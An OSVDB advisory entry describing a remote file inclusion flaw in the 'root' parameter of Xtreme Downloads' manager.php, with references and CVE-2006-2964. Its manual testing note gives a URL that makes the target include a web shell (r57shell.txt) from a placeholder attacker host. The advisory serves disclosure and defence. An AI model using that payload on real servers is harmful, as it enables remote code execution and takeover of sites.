Xtreme Downloads manager.php root Variable Remote File Inclusion

2006-06-05T20:21:29
ID OSVDB:26644
Type osvdb
Reporter sweet-devil(gamr-14@hotmail.com), black-code(black-cod3@hotmail.com)
Modified 2006-06-05T20:21:29

Description

Vulnerability Description

Xtreme Downloads contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to manager.php not properly sanitizing user input supplied to the 'root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Xtreme Downloads contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to manager.php not properly sanitizing user input supplied to the 'root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/path/manager.php?root=http://[attacker]/r57shell.txt?

References:

Vendor URL: http://www.xtremescripts.com/ Related OSVDB ID: 26643 Related OSVDB ID: 26645 Related OSVDB ID: 26648 Related OSVDB ID: 26646 Related OSVDB ID: 26647 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0002.html Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0004.html ISS X-Force ID: 26961 CVE-2006-2964